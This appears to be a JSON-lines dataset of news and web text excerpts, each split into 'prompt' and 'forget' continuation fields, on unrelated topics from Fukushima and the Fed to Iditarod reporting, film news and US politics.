Anatolian tiger as well as a partridge and a rabbit [in mosaics]. They are decorated with completely natural stones. You can see various shades of red, blue and green. There is a rich archaeological structuring in the region,\u201d he said.According to S\u00fcsl\u00fc, the historic structure in the city could be defined as the \u201cZeugma of the West,\u201d but the most sorrowful thing was the illegal excavations. Zeugma is the ancient city known for its rich mosaics in the southeastern province of Gaziantep.Artifacts unearthed during illegal excavations from Zeugma were sold abroad at trifling prices and later major efforts were put underway to bring those artifacts back, S\u00fcsl\u00fc said.S\u00fcsl\u00fc warned those involved in illegal excavations that there would be repercussions to their actions. \u201cThese people should know that we pay for artifacts when they inform us [of their discovery]. Citizens should prevent illegal excavations when they see [them happening].\u201dFurther, more detailed information about the name and estimated size of the newly-discovered city in \u0130zmir would be given as a result of detailed excavation works,"}
{"prompt": "Recoveries have been getting weaker and weaker because that's how the Fed wants them (Reuters) With GDP unexpectedly is different. In other words, has the economy settled into a, well, new normal of slower growth? It's time to talk about everybody's least favorite Davos buzzword -- New Normal.With GDP unexpectedly contracting 0.1 percent in the fourth quarter of 2012 (though the private sector mostly kept up , despite the obstacles we've thrown in its way), it's enough to make you wonder if this time reallydifferent. In other words, has the economy settled into a, well, new normal of slower growth?", "forget": "If it has, it's not quite new, at least when it comes to recoveries. As you can see in this Minneapolis Fed chart of job gains following recessions, something changed after 1981. Recoveries went from being V-shaped affairs characterized by rapid bouncebacks in employment to U-shaped ones better described as nasty, brutish, and long. (Note: I excluded the recovery from the 1980 recession, because the double-dip in 1981 cut it short). The story of the jobless recovery is one of what the Fed isn't doing. As Paul Krugman points out, recessions have become post -(or perhaps pre -) modern. Through the 1980s, postwar recessions happened when the Fed decided to raise rates to head off inflation, and recoveries happened when the Fed decided things had tamed down enough to lower rates. But now recessions happen when bubbles burst, with financial deregulation and the global savings glut making these more of a recurring feature of our economy, and the Fed hasn't been able to cut interest rates enough to generate strong post-crash recoveries. Or maybe it hasn't wanted to. Here's a stupid question. Why have interest rates and inflation mostly been falling for the past 30 years? In other words if the Fed has been de facto, and later de jure, targeting inflation for most of this period (and it has), why has inflation been on a down trend (and it has)? As you can see in the chart below, core PCE inflation, which excludes food and energy costs, fell substantially from the Reagan recovery through the bursting tech bubble, and has more or less held steady since, though a bit more on the less side recently. Say hello to \"opportunistic disinflation.\" Okay, let's translate this from Fed-ese. Remember, the Fed is supposed to target 2 percent inflation, meaning it raises"}
{"prompt": "The nuclear energy industry in Japan relies on unskilled and uneducated daily workers, and even now the country will not invite foreign experts to help with the Fukushima cleanup due to national pride, Alex Kerr, an expert on Japan, told RT. RT:There have already been countless reports of toxic leaks and here's a fresh one in a new reactor. Why can\u2019t they get control here? Alex Kerr: It\u2019s an ongoing story. The real problem is that the government has put so much energy into hiding the information that at this point I can say that nobody knows what\u2019s really going", "forget": "on. RT:Japan won the right to host the Summer Olympic Games in 2020, but activists worldwide have been raising concerns that it is not the best place to hold them, due to health concerns. Are these worries justified? AK: I don\u2019t think they are justified in a sense that it is going to impact Tokyo. I think people could really come to the Games and not worry about it. But Fukushima Prefecture and the areas around it are going to be seriously affected for decades, maybe a century. Parts of it will be pretty much unlivable. Not to mention the fears that we have of the radioactivity flowing into the ocean. No one can imagine what the long-term effects are going to be for sea life and many other things. RT:There were media reports that the containment tanks that have been leaking were built in part by illegal employees, who lacked experience and were forced to rush. Does this suggest there are lots more secrets we don't know about? AK: Of course. Because the entire system of management of TEPCO, in fact the entire nuclear energy in Japan, has been to rely on unskilled, uneducated, non-specialist daily workers, guys that are picked up from the streets and are paid a daily wage, some of them didn\u2019t even realize they were going to a radioactive area. It\u2019s not professional, it\u2019s a comedy of errors and [there] are just many tanks, many structures that were built hurriedly, without expertise, without consulting international specialists. It\u2019s fair to say that it is a big mess and it will get worse. RT:Experts say Japan is obviously failing to safely clean up the plant and needs help from outside. Do you agree? AK: I do agree. I think it\u2019s very difficult for Japan to do that"}
{"prompt": "March 5 Cripple 2:10PM Burmeister leads to Cripple\u2014Could Lindner go Yukon? Our Insider crew has just arrived Cripple. Noted cooler temperatures under very blue bright sun skies. Temperatures last night bottomed at -30F. Sonny Lindner and Aaron Burmeister have been hopscotching across the tundra from Ophir and now it appears the Aaron will be first into Cripple. Pundits here in Cripple wonder if Sonny actually intends to stop in Cripple as it seems his rest schedule might suggest a push onto the Yukon, an idea that I think has merit after I walked the outgoing trail. The trail is perfect,", "forget": "hard, and set. It is not usual to have such a solid fast trail as we are now in the Interior, where temperatures are cold\u2014typical of the Yukon basin\u2014and dry. Disturbed by snow machines, we often find the trail to have a fluffy layer of four inches of snow. At its worst, the trail in and out of Cripple is often unstable and breaks up into a sugar bowl of dry crystals. Therefore, it may be that great opportunity to keep mushing deep into the middle of the race where a 24 hour rest makes more sense. Cripple is just a place on the map midway between Ophir and Ruby. The only reason Cripple exists is to break up the 150 mile trail to Ruby in an area many regard as one of the most remote in Alaska. The other reason is that a slough exists which can be used for landing Iditarod air craft on skis. On a practical basis, the collection of tents and elegant plywood shacks used for cooking, housing volunteers, and mushers would only be possible because of the vision of Jim Paulus. Jim has worked to design the quarters here at camp. He hustles building materials from sponsors in Anchorage, then cuts them into lengths and widths that can fit into small aircraft and can be assembled on site in winter conditions. Photos are included to show the camp, the outgoing trail, and the musher shack with a gravity oil burning stove. Note the black spruce typical of the area. North to the Yukon and east of this location are areas known particularly for marten trapping. I spent several winters east of here trapping in game rich territory off the Yukon. For some reason, however, the area near Cripple is almost barren of tracks\u2014rarely a"}
{"prompt": "I remember when I first picked up a controller. It was back in the early 90s; I was around 6 years old and I was sitting in front of my friend\u2019s Nintendo Entertainment System. \u201cWanna see something cool?\u201d he asked me. How could I possibly refuse? He loaded up the cartridge for Super Mario Bros. and , to my dismay, all I saw was a blank screen. With a look of confusion, I silently stared at the console while my friend blew on the cartridge. After a few tries, I saw what I could only describe then as the most", "forget": "fascinating thing I ever experienced on a screen. I pushed a button on my controller, and a little 8-bit sprite moved. This, dear reader, is the moment I was introduced to a new dimension of entertainment. For many of you, I could safely assume that your first experience in gaming was similar. For some of the gamers born after the mid-90s, however, the sentiment may be a little more difficult to relate to. In fact, one could postulate that a small subset of gamers browsing our little corner of the internet only ever played games by touching a screen on a mobile phone. It doesn\u2019t matter. We\u2019re all united. We are all gamers. It is for this very reason that I think that we should protect each other. We come from different backgrounds, have different political leanings, and prefer different types of games. Some of you may be irreconcilably different from me in such a way that in other areas of discussion we\u2019d be at each other\u2019s throats. This isn\u2019t the time for fighting, though. We know better than that. The one thing that we find in common is games. If someone attacks them instead of discussing them in an intellectually honest matter, it\u2019s a fair bet to say that this person will stir plenty of ire from people who actually play the games they are spewing nonsense about. It\u2019s important that while we\u2019re enduring the massive pile of whatever the hell this is, we also don\u2019t lose sight of the younger gamers who are completely unacquainted with the culture that we\u2019ve had for decades. In the past, you bought a game and played it, period. End of story. You waited until the next game came out and played that, too. Then, multiplayer came along and we were finally able"}
{"prompt": "There are many short track drivers out there who dominated their local tracks and touring divisions but never got a chance to make it to the big time. There's also some out there who did make it to NASCAR's top levels, only to be phased out by younger, more funded drivers. While they may have had to hang up their helmets for one reason or another, many of those drivers are still around the racetrack. They're not behind the wheel anymore. Instead, they're up on the spotter's stand. Spotting wasn't something that guys like Freddie Kraft, Mike Herman, Jr., Tim", "forget": "Fedewa and Eddie D'Hondt started out doing. It was something that they did on the side when they had free time. \"Towards the end of my career when things weren't going the way I wanted them to... through some mutual friends I heard that Bill Elliott needed a spotter for a few races here and there so I said I'd do it,\" said Tim Fedewa who now spots for Stewart-Haas Racing in the Sprint Cup Series. \"I'd race Saturday in the Busch car and Sunday I'd stay over and help Bill occasionally. \"When I couldn't drive anymore I needed to make a living,\" said Fedewa. \"I just kept spotting and it's come to this.\" The 47-year-old Fedewa from Holt, Michigan scored four wins in what was then known as the NASCAR Busch Series. He said that his favorite moment behind the wheel was the day he won his first Busch race at Nazareth Speedway (PA) in 1995. \"They had a memorial service in Michigan that day for my grandmother so it was pretty surreal that they were burying her at the same time the race was going on and I couldn't be there,\" said Fedewa. \"But I know she was there with me so it was pretty special.\" Mike Herman, Jr. was racing on the USAR Hooters Pro Cup circuit while at the same time spotting for Joe Gibbs Racing in the K&N Pro Series East. Herman is a two-time champion in Late Model Stock Cars at Concord Speedway (NC) and now spots for Ricky Stenhouse, Jr. in the Cup Series. \"It just so happened that the East schedule and the Pro Cup schedule didn't overlap so it worked out well,\" said the Kannapolis, NC native who also raced Modifieds at Bowman Gray Stadium (NC). \"I basically worked through East,"}
{"prompt": "EternaLEnVy Profile Joined February 2009 Canada 203 Posts Last Edited: 2011-12-10 22:10:43 #1 Due to parents, I've decided to delay this till mid April. Thanks a lot everyone, but now I'll have more time to do more indepth research. However, I would like to have more input. The neat thing about this thread is that I'm getting a lot of suggestions that an computer noob like me has yet to consider. END EDIT Hello, I am a shut in kid from Canada who doesn't know anything but Math, Science, random shit, anime, and video games. I made this thread in", "forget": "order to get some help but first let me explain the situation: My IGN is EternaLEnVy in HoN and DotA and my SC2 name is YanagiNagi. I have not played SC2 since July, and HoN since August of 2010. I played DotA for a few weeks in August of this year but haven't really played seriously since probably mid 2008. I played mid solo for DWi (Deal With It) and was rank 2 on the ladder for a few months in HoN. I won one major tournament under this team and placed fairly high in every other. I believe this team is called Complexity now. I was rank 2 in DotA Cash Tier 2 (under Aisaka_Taiga) while I was messing around for a few weeks in august but I doubt that actually matters. OK SO ENOUGH OF THAT HERE IS THE SITUATION: I'm a 2nd year Engineering Science Student at the University of Toronto. It's basically this extremely fucking retarded course that destroys your soul: NEW EDIT:Due to parents, I've decided to delay this till mid April. Thanks a lot everyone, but now I'll have more time to do more indepth research. However, I would like to have more input. The neat thing about this thread is that I'm getting a lot of suggestions that an computer noob like me has yet to consider.END EDITHello, I am a shut in kid from Canada who doesn't know anything but Math, Science, random shit, anime, and video games. I made this thread in order to get some help but first let me explain the situation:My IGN is EternaLEnVy in HoN and DotA and my SC2 name is YanagiNagi. I have not played SC2 since July, and HoN since August of 2010. I played DotA for a few weeks in August of this"}
{"prompt": "Its atmosphere is stiflingly hot, with temperatures generally hovering around 800 degrees Celsius (1,470 degrees Fahrenheit) -- in the shade. The air is filled with billowing clouds of highly toxic gas. Anyone setting foot on this faraway planet would die a speedy death. Nevertheless, the recently launched study of HR 8799 c is a breakthrough in the search for extraterrestrial life. Astronomers unveiled a groundbreaking achievement in the field of metrology last week. By measuring the spectrum of light coming from HR 8799 c, they have managed to determine the chemical composition of its atmosphere. \"For the first time, we", "forget": "have directly obtained the spectrum of a planet outside our solar system,\" says study co-author Wolfgang Brandner of the Max Planck Institute for Astronomy in Heidelberg. Nowadays, the discovery of planets outside our solar system has become practically routine. In recent years, scientists have discovered more than 400 of these so-called exoplanets. But in most cases, their existence could only be proven indirectly, for example, by virtue of the fact that they cause a slight weakening in the light emitted by a much brighter star. Mechanical Ballet Only with the help of the world's most advanced observatory, and the European-run \"Very Large Telescope\" (VLT), did it become possible to directly capture the weak light coming from a planet and analyzing it using spectroscopy. The massive telescope is located on a 2,600-meter (8,528-foot) peak in Chile's Atacama Desert. After nightfall, the robotic eyes come to life on the mountain, known as Cerro Paranal. Four giant domes, as outlandish as the stone sculptures on Easter Island, are silhouetted against the evening sky. The steel giants begin moving almost inaudibly, as the domes, each a 400-ton maze of cables and supports, ladders and steps, perform a mechanical ballet. Each of the VLT's four main mirrors has a diameter of more than eight meters. They are the most sensitive devices designed to peer at the sky ever built by human hands, so powerful that they could pinpoint the light coming from a car headlight on the moon. One of their most important objectives is the search for a second Earth -- and for extraterrestrial life in space. \"What we are currently experiencing is the emergence of a new conception of the world,\" says Michael Sterzik, \"comparable to the sea change that occurred when Copernicus described how the earth revolves around the sun.\" The astrophysicist"}
{"prompt": "Whatever the outcome of the leadership election, we know that there will be many in our party who are disappointed with the result. Someone winning inevitably means that others will have lost. It will take time for wounds to heal \u2013 particularly after a fractious contest. That is why it\u2019s vital we choose a deputy leader who can unite the party. Someone who can rise above the divisions and bring us together to focus on the real fight of challenging this divisive Tory government. I back Stella Creasy as the unity candidate for deputy leader because whoever wins the leadership", "forget": "race, I believe she can do this job \u2013 and do it with compassion, vision and integrity. She has drawn praise from all parts of our movement and spoken clearly of the need for Labour to move on from the tribalism that has plagued our past and could risk our future. She is supported by MPs who back each one of the four leadership candidates, demonstrating her broad appeal and ability to work with everyone. And Stella is the choice for deputy leader that would enthuse and inspire Labour members \u2013 as shown again in recent days by a LabourList poll of party supporters. A vote for Stella can help guarantee that Labour will not have an all-male leadership team. For that to come to pass in this day and age would send a terrible signal about Labour being stuck in the past rather than a modern campaigning force ready to face the future. Stella will help ensure that we can draw on the broadest range of support inside and outside Parliament. Like myself, she is part of a new group of politicians in the Labour Party, elected from 2010 onwards. We\u2019ve only ever sat on the opposition side of the House of Commons and share a deep desire for this to change. However, the scale of the challenge is so great that \u2018business as usual\u2019 just won\u2019t cut it. Now is the time to think radically about how we work \u2013 and this is where Stella really stands out. She has bold ideas about how we campaign in the future, how we harness technology and find genuine ways to engage with people. Her award-winning, law changing campaign on Wonga highlighted her natural abilities in this field. And as part of her deputy leadership campaign she\u2019s delivering campaign training sessions"}
{"prompt": "Most Russians acknowledge that the country is facing a potentially lengthy economic crisis, but at the same time don\u2019t expect to suffer any personal consequences such as redundancy or delays in salary payment in the near future as a result. The latest poll conducted by the independent public opinion agency Levada Center in mid-September showed that 82 percent of Russians currently agree with the statement that their country\u2019s economy is in decline or stagnation. When a similar poll was held in 2014 only 61 percent of respondents shared this opinion. A quarter of Russians polled said they expected the current", "forget": "crisis to be long-term, compared to just 16 percent two years back. Around a fifth \u2013 21 percent \u2013 said they expected it to end no sooner than in two years. READ MORE: 80% of Russians would not join protests \u2013 poll shows At the same time, those questioned were mostly optimistic about their own perspectives amid a stagnating economy. Just under half \u2013 49 percent \u2013 were confident that they and their family members would not experience delays in receiving wages, while 24 percent admitted that such a scenario was possible and 17 percent confessed that they had already experienced this. Forty-four percent of respondents said they did not expect to lose their jobs in connection with the ongoing crisis. Just under a third \u2013 28 percent \u2013 said that this was possible and 14 percent answered that they knew about ongoing job cuts from personal experience. Deputy director of the Levada Center Aleksey Grazhdankin explained the results of the poll by the fact that people compare the current economic difficulties with the much worse crisis of 1998. \u201cOnly a sharp fall in living standards can really affect public opinion. People tend to adapt to smaller deviations.\u201d Researcher Leontiy Byzov from the Russian Academy of Sciences\u2019 Sociology institute said in comments with Kommersant daily that the picture revealed by the poll could be explained by the fact that the average Russian thought that the economic crisis was imposed by hostile forces from abroad and therefore could not be really deep or serious. \u201cRussians consider the current problems to be provoked by foreign-based \u2018enemies of the people.\u2019 They do not expect any cuts in their wages because they fully trust the authorities not to allow this,\u201d he said. Similar research conducted by the state-run agency VTSION in January this year"}
{"prompt": "Last year, theatre owners and exhibitors in Pakistan temporarily stopped screening Indian films after Pakistani artistes and technicians were banned by the Indian Motion Pictures Producers\u2019 Association (IMPPA) from in India. The controversial move was taken in the wake of political tension between India and Pakistan, post the Uri (Jammu and Kashmir) attacks in September. However, earlier this year, Pakistan lifted the ban on Indian films and began screening them in the country. And a few days ago, local distributors from the neighbouring nation apparently requested for Dangal (2016) to be released there. Aamir Khan and the film\u2019s team were", "forget": "\u201cabsolutely okay\u201d with that, especially since Pakistani audiences have always loved Hindi films and Indian actors. Aamir was surprised with the demands of the Pakistan censor board to omit the scenes featuring the Indian flag and playing the national anthem. ( You Tube ) However, Hindustan Times has learnt that the release of the film couldn\u2019t go through when a \u201csurprising\u201d demand came in from the other side of the border. A source says, \u201cWhen the film went to the Pakistan censor board, they were fine with it except for two particular scenes towards the end \u2014 one in which the Indian flag is shown and another in which the Indian national anthem is played after Geeta Phogat (played by Fatima Sana Shaikh) wins the gold medal. The Pakistan censors wanted the scenes to be edited out before they gave Dangal the green signal,\u201d says an insider. Dangal is the Hindi movie industry\u2019s biggest blockbuster with over Rs 385 crore at the Indian box office. ( You Tube ) But Aamir \u2014 who is also the producer of the film \u2014 felt that the \u201cdemand for the two cuts was surprising, because the film isn\u2019t jingoistic in nature\u201d. The source says, \u201cIt\u2019s a sports-based biopic with no direct or indirect reference to Pakistan. The film only highlights India\u2019s nationalistic sentiment, so what is the reason to chop off those scenes?\u201d Aamir then decided that the film would not be released in Pakistan. Dangal is the Hindi movie industry\u2019s biggest blockbuster with over Rs 385 crore at the Indian box office. \u201cIt will result in an economic loss to the tune of Rs 10-12 crore, as Pakistan is an important international territory vis-\u00e0-vis money, but he isn\u2019t willing to edit the scenes in question. He is aware that not releasing the"}
{"prompt": "A Royal Marine taking part in a selection process for the SAS died after he fell down a gorge which he did not realise was there because it was marked on a map in Welsh. An inquest into the death of 25-year-old marine Ashley Hicks, heard that he plunged more than 100ft down a steep gorge, in the dark, near Trawsfynydd in Snowdonia in October 2012 during an \"escape and evasion\" exercise. Later the same night a second soldier suffered a broken leg after falling 30ft on to a ledge in the same gorge. The coroner said the marine's death", "forget": "was avoidable as she recorded a verdict of accidental death. \"Had the gorge been identified in the recce procedure it would have been out of bounds and he wouldn't have been there,\" Nicola Jones, the coroner said. She added: \"Crucially there will be more attempts to gain local specialist knowledge of unacceptable hazards on training grounds. \"The failure to identify this gorge as an unduly hazardous location is clearly the most significant contributing factor to Ashley slipping and falling.\" The coroner said the word \"ceunant\" (gorge) appeared on the planning map and asked why no one had identified it, as it was the local language. \"It's unlikely they would obtain translation of the words. We tend to operate in symbology,\" Soldier AA, the assistant chief of staff at the Ministry of Defence responsible for specialist units, told the inquest. A service inquiry had been carried out following the incidentand Soldier AA was one of three panel members. The panel felt the planning and reconnaissance of the area was not as comprehensive as it could have been. He told the hearing that Google maps were now used \"to try to fly the terrain.\" He added :\"We are quite proud of our map-reading ability. On this occasion that ability wasn't good enough to prevent the non-identification of this hazard. We have taken steps to make sure that doesn't happen again. One of these steps is to take advice.\" He added :\"We now know what 'gorge' in Welsh looks like.\" Another officer, known as 'Soldier R' and in charge of selecting new recruits said :\"We can't eliminate all risk.\" He said in a statement that procedures had been reviewed. \"Escape, evasion and survival are inherent skills a soldier must demonstrate to join this specialist unit,\" he added. Around 250 students took part in"}
{"prompt": "The selection of Congressman Trey Gowdy as Chair of the Select Committee on Benghazi by House Speaker John Boehner was the best act of the Speaker in this Congress. Gowdy has impressed most fair observers with his preparation for prior Benghazi hearings, his careful questioning, his command of the facts and his approach to witnesses --allowing them to answer questions rather than eating up time with showboating. An experienced former state district attorney as well as a federal prosecutor for a half dozen years, Gowdy knows how to put together a case and how to assemble and mange a team.", "forget": "These skills will greatly benefit the country as it looks for answers as to what happened and why on 9/11/12. The naming of Gowdy's fellow committee members and the committee's staffing will be as crucial as naming the chair. I spoke with House Rules Committee Chair Pete Sessions and a member of the House Intelligence Committee, Rep. Mike Pompeo of Kansas, on Monday's radio show --transcripts and audio here-- and it is clear that the Committee will be formed at least as to its GOP members by the end of this week. National Review's Andrew C. McCarthy and the Washington Examiner's David Drucker also provided key background Monday on the considerations that will go into the filling out of the Committee's membership and its staffing, and the transcripts of those interviews will be posted here later today. Drucker's reporting yesterday suggested some of the names to watch for: Besides Gowdy, they include: Intelligence Committee members Devin Nunes, R-Calif., and Lynn Westmoreland, R-Ga., who served as the informal panel's chairman; Oversight and Government Reform Committee member Jason Chaffetz, R-Utah; and Armed Services Committee members Mike Conaway, R-Texas, and Joe Heck, R-Nev., who also serve on the Intelligence Committee. Additionally, Boehner asked Rep. Jim Gerlach, R-Pa., to participate because of his prosecutorial background and to bring a fresh perspective. Gerlach does not serve on any of the five committees of jurisdiction that have been jointly investigating the Benghazi attack, which include the Foreign Affairs and Judiciary panels. Nunes discussed Boehner\u2019s informal Benghazi committee on Friday during a radio interview with conservative talk show host Hugh Hewitt. All of those members bring excellent backgrounds --Chaffetz has actually been to Benghazi to see the site of the attack-- but I'd like to see some military veterans like Pompeo and/or Florida's Ron Desantis (both Pompeo"}
{"prompt": "Claim: Photograph shows a famine stricken child crawling on the ground while a vulture waits in the background. Status: True. Example: [Collected via e-mail, June 2006] The PHOTO in the mail is the \u201cPulitzer prize\u201d winning photo taken in 1994 during the Sudan famine. The PHOTO in the mail is the \u201cPulitzer prize\u201d winning photo taken in 1994 during the Sudan famine. The picture depicts a famine stricken child crawling towards an United Nations food camp, located a kilometer away. The vulture is waiting for the child to die so that it can eat it. This picture shocked the whole", "forget": "world. No one knows what happened to the child, including the photographer Kevin Carter who left the place as soon as the photograph was taken. Three months later he committed suicide due to depression. This was found in his diary, \u201cDear God, I promise I will never waste my food no matter how bad it can taste and how full I may be I pray that He will protect this little boy, guide and deliver him away from his misery. I pray that we will be more sensitive towards the world around us and not be blinded be our own selfish nature and interests.\u201d I hope this picture will always serve as a reminder to us that how fortunate we are and that we must never ever take things for granted. Origins: If a hundred of the most talented members of the advertising industry were tasked with creating an image to illustrate the concepts of poverty and famine, quite possibly none of them would come up with anything nearly as grippingly and devastatingly effective as this 1993 picture by South African freelance photographer Kevin Carter. His poignant photograph of an emaciated toddler who collapsed from hunger on her way to a feeding center in famine-ravaged Sudan while a vulture ominously loomed in the background was originally published in the New York Times (which later described it as \u201ca metaphor for Africa\u2019s despair\u201d) and earned Carter the 1994 Pulitzer Prize in the Feature Photography category, and the image has since become widely known as a metaphor for Africa\u2019s despair. As described in Time magazine, the scene Carter captured in his now-famous photograph was one he stumbled across during a trip he made on his own in order to cover the civil strife in war-torn Sudan: In 1993 Carter headed north of"}
{"prompt": "Ked.ai passes 100,000 registered users, aims to increase sales and merchants Optimistic on future of cryptocurrencies, adds Bitcoin as a payment method WHEN Digital News Asia (DNA) first featured Ked.ai in January of 2013, its founder Arsyan Ismail (pic) said the team\u2019s biggest challenge would be trying to achieve critical mass. One year on, the Malaysian online marketplace has garnered a respectable base, having passed the 100,000 mark for registered users and approaching its internal milestone target of 150,000 users. In an interview with DNA, Arsyan claimed that the estimated monthly sales is about RM194,118 (US$59573), based on what the", "forget": "team can track via its backend system. \u201cOne of our more memorable achievements was signing up some big clients such as Afdlin Shauki and Karyaneka Malaysia,\u201d he said. The focus for 1337 Tech, the company behind Ked.ai, for the coming year will be on merchant acquisition and increasing sales. Ked.ai ('kedai' is Malay for 'shop') is estimating an increase of 10% of total sales every month within its network. The e-commerce space in Malaysia getting increasingly crowded, and Arsyan admitted that there are many big players the team cannot afford to compete with. That said however, he believes the market is big enough. \u201cIf we can have a slice of the cake, then that is good enough already. There is no player that can conquer the entire market. There will be some portions for the small players to play [in] and profit. And ... if we're doing it right, we might just grow organically from there to hopefully [garner] at least half of the cake,\u201d he said. Arysan also said that with the right product and the right user experience, the 1337 team could make it happen. \u201cWe can reach there slowly, but we need to continuously evolve and innovate and not be stagnant in one era. All in all, we're quite satisfied of where we are in the e-commerce space currently in Malaysia,\u201d he said. Betting on Bitcoin As part of the team\u2019s efforts to evolve and innovate, Ked.ai now accepts bitcoins as a payment option, enabling its merchants to integrate a Bitcoin wallet into their shops easily. Merchants just need to key in their wallet address and shoppers will be able to pay for their purchases with Bitcoin. Bitcoin is a peer-to-peer payment system and digital currency introduced as open source software in 2009 by a developer or"}
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{"prompt": "The Pentagon budget will shrink slightly next year for the first time since 1998, the Obama administration said Thurs\u00adday, in an attempt to chip away at the federal deficit while reorienting the armed forces toward Asia. Under the proposal, the administration will reduce the size of the Army and Marine Corps, trim the number of fighter aircraft and ships, and seek congressional approval for another round of military base closures. The administration will instead spend more on unmanned vehicles and Special Operations forces that can be deployed quickly and will not require large, expensive bases. The military will also largely", "forget": "preserve its manpower and weapons systems geared toward the Middle East. The Pentagon said it would ask Congress for $525 billion in 2013, which represents a 1 percent decrease from the current year. While the difference may sound small, it represents a new era of austerity for the Defense Department that would have been unthinkable just a few years ago, when the military was still accustomed to huge annual raises after the attacks of Sept. 11, 2001. Pentagon leaders characterized the cuts in solemn tones. Defense Secretary Leon E. Panetta called them a \u201cdifficult undertaking.\u201d Army Gen. Martin E. Dempsey, the chairman of the Joint Chiefs of Staff, added: \u201cMake no mistake, the trade-offs were tough. The choices were complex.\u201d The changes are part of a broader effort by the Pentagon to decrease its projected spending by $487 billion over the next decade in accordance with a deficit-reduction deal President Obama reached with Congress in August. Those cuts could soon swell substantially. If Obama and Congress cannot agree on another package of spending reductions or tax increases by next January, the Pentagon could be forced to slash an extra $600 billion over 10 years. \u201cIt basically takes a chain saw to the budget,\u201d said Adm. James A. Winnefeld Jr., vice chairman of the Joint Chiefs of Staff. Many analysts say that the chances of that happening are small, and that Obama and Congress are likely to work out a compromise ahead of time. But even if they do, many believe the Pentagon is in for more pain as lawmakers search for a long-term solution to the nation\u2019s fiscal troubles. \u201cIn terms of the overall federal budget, these changes are a rounding error,\u201d Thomas Donnelly, a defense analyst at the American Enterprise Institute, said of Obama\u2019s Pentagon budget for next year."}
{"prompt": "FC Dallas travel to Denver this Friday to face the Colorado Rapids in a rematch of the match no one will forget this year. The last time these teams faced off, Colorado picked FC Dallas apart piece by piece and went on to score four goals in a 4-0 romping, the worst loss for FC Dallas in the Oscar Pareja era. It was a loss that made this FC Dallas team much more focused, and motivated, which we saw in the match against Toronto. This week could also mark the return of Mauro Diaz, which could change Colorado\u2019s game plan", "forget": "heading into this Friday\u2019s match. The biggest thing we saw during the last match against Colorado was that the Rapids knew exactly what FC Dallas were going to do, and stuck to their guns to shut down Dallas. After the quick goal Colorado got from Dominique Badji, all they had to do was see out their game plan. The plan was to force FC Dallas into the middle and never effectively use Fabian Castillo or Ryan Hollingshead. When you do not have the passing prowess of Mauro Diaz in the midfield, which Dallas did not have against Colorado the first time, it can be troubling. There was no one there to play cutting through balls through the middle of the backline. The plan was very effective, as no one on this FC Dallas team has quite the vision that Diaz has and it was apparent as they could not find the open outside pass. Move the calendar forward eight days, and we see a motivated FC Dallas come out and run rampant over Toronto FC until a storm comes and delays the game ruining their flow. We really have to look at the three goals we saw from FC Dallas, as they were exactly what FC Dallas want to do week in and week out. The first goal was made with brilliant passing, and burning speed from Fabian Castillo proving that Castillo is absolutely one of the most dangerous attackers in MLS. It was the fastest goal against an MLS opponent in club history. The second goal was a brilliant through ball from Blas Perez and a great curler from Castillo, and goal number three was just flat out hustle from Hollingshead and then Perez being Perez with his poacher goal. FC Dallas played exactly how they wanted to play,"}
{"prompt": "Michelle enjoys her first Deathgasm. If there is one thing that New Zealand does right (other than Lord of the Rings and Flight of the Conchords) it's hilarious and gory horror flicks. Deathgasm follows in the footsteps of such films as Dead Alive,The Frighteners and Black Sheep as it continues the tradition of 'effed up yet funny as hell splatterfests. Jason Lei Howden makes his directorial debut with Deathgasm and it was an audience favorite at Austin's South by Southwest film festival. \"Sweet Force lightning, bro.\" The film follows the adventures of a couple of high school metal heads who", "forget": "are trying to start a death metal band. They inadvertently summon demons (pretty damn brutal, I would say) and have to figure out a way to stop the monsters before they destroy the small town they reside in. Truth be told, the storyline isn't that complex or subtle though it moves briskly. The writing is snarky with lots of black humor thrown around in between (and sometimes during) the horror scenes. Overall, I would say the story is above average compared to the majority of horror films and for the most part it's entertaining. What sets this film apart from other indie horror movies is the heavy metal music motif. Both of the main characters Brodie (Milo Cawthorn) and Zakk (James Blake) embody all of the common metal clich\u00e9s: long hair, studded leather jackets, combat boots, denim vests with patches on them--the works. Luckily, it doesn't come off as contrived though a couple of the references fall flat. The music is spot on with lots of bands contributing songs to the soundtrack. If you are a fan of heavy metal you will definitely enjoy the tune-age in this film. \"This ice cream tastes like death.\" Now here comes the best part of Deathgasm: lots and lots of blood and guts! Once the demons are unleashed, all hell breaks loose...literally! Demons vomit blood all over their victims, gouge out eyeballs, tear out intestines and all sorts of other ghastly things. It's awesome! Almost all of it is done with practical effects and props too--this is seriously some outstanding work in this movie. The term \"splatstick\" has been coined to describe the type of disturbing and funny mayhem that New Zealand horror films are famous for. Gorehounds will be incredibly pleased with the gore in this movie. What stands out the most"}
{"prompt": "Media playback is unsupported on your device Media caption \"An unnecessary court conflict will ensue\" US Attorney General Eric Holder has been held in contempt of Congress for refusing to hand over a set of files on a failed gun-running investigation. In a 255-67 vote, 17 Democrats joined with the House of Representatives' Republican majority. Mr Holder is the first sitting attorney general and US presidential cabinet member to be held in contempt. The White House has refused to hand over files outlining how problems with Fast and Furious emerged. The operation saw US agents lose track of hundreds of", "forget": "illegal guns sold in Arizona and allowed into Mexico to target dealers. Two of the weapons were found in December 2010 at the scene of a US border agent's murder. Fast and Furious ended in early 2011. 'Political game' Mr Holder told reporters that the vote was \"misguided\" and said lawmakers had been circulating \"truly absurd\" conspiracy theories. \"It will not distract me from the important tasks that are our responsibility,\" Mr Holder said. Image caption Dozens of House Democrats, including leader Nancy Pelosi, walked out The House also voted 258-95 to ask the courts to force Mr Holder to turn over the documents. Many Democratic lawmakers, including the Congressional Black Caucus and Democratic leader Nancy Pelosi, walked out of the chamber in protest on Thursday. \"We don't want to play a part in this political game,\" Democratic Representative Gregory Meeks said. The roots of the current Congressional investigation began on 4 February 2011 when the justice department sent lawmakers a letter denying they had sanctioned or otherwise knew about guns illegally ending up Mexico. The department withdrew the letter 10 months later, acknowledging the operation had allowed guns across the border. Led by Republican Darrell Issa, the House Oversight Committee subpoenaed documents for the 10-month period. The Department of Justice says it has denied access to the files because they contain information that could affect ongoing criminal investigations. Demand for answers Mr Issa did not accept an offer of files and a briefing on the operation, saying the department needed to hand over all the documents requested. Image caption Eric Holder spoke to a civic group in Florida before the contempt vote The justice department sent to the House Oversight Committee more than 7,000 documents relating to Fast and Furious, and to a similar operation that took place during"}
